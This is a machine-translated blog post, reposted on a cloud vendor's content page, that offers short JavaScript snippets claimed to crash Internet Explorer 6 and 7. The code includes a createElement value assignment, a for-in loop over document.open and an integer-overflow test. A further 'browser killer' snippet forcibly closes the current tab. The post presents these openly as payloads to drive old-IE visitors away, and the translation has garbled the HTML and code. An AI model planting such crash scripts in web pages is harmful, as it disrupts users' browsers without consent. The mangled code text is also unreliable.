IE6 and IE7 killer and browser killer

Source: Internet
Author: User

I remember that Lao Zhao seemed to hate the use of Internet Explorer 6 to access his blog. He jumped to a prompt page in a gentle way. Recently, I found a strong bug. I was able to crash IE6 and IE7 all at once, so I had no room to breathe. I want to make a public contribution to the Chinese web standards. This bug is related to the browser kernel. It is easy to use without the need for Feature Detection and UA sniffing!

 
Document. createelement ("Li"). value = 1;

<br/> <! Doctype HTML> <br/> <pead> <br/> <meta charset = "UTF-8"/> <br/> <meta content = "ie = 8 "http-equiv =" X-UA-compatible "/> <br/> <meta name =" keywords "content =" IE6 and IE7 kicker by situ zhengmei "/> <br/> <meta name = "Description" content = "IE6 and IE7 killer by situ zhengmei"/> <br/> <SCRIPT type = "text/JavaScript"> </P> <p> // use setattribute, the value seems to be fixed. It is 1 (read as "day", day is good !) <Br/> document. createelement ("Li "). value = 1; </P> <p> </SCRIPT> <br/> <title> IE6 and IE7 kicker by situ zhengmei </title> <br/> </pead> <br /> <body> </P> <p> <p> kill! Kill! Kill! </H1> <br/> <H2> NO, Please refresh the page (this is a problem with the running box) </H2> <br/> </body> </P> <p> </ptml> <br/>

RunCode

Of course, there are still a lot of code in IE6. Don't worry about it. Finally, it comes with another evil stuff. It can crash most browsers (current pages) and is called the killer of browsers.

 
Window. Opener = NULL; window. Open ('', '_ Self'); window. Close ();

Execute a browser killer

 
// 2010.6.28 update kill ie6function crash () {for (X in document. Open);} crash ();
 
// Update kill ie6function equal (x, y) {return x = y;} function test () {var v = 2147483647; // 2 ^ 31-1 V ++; equal (v, 2147483648);} test ();

Related Links

Find a new method for IE

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.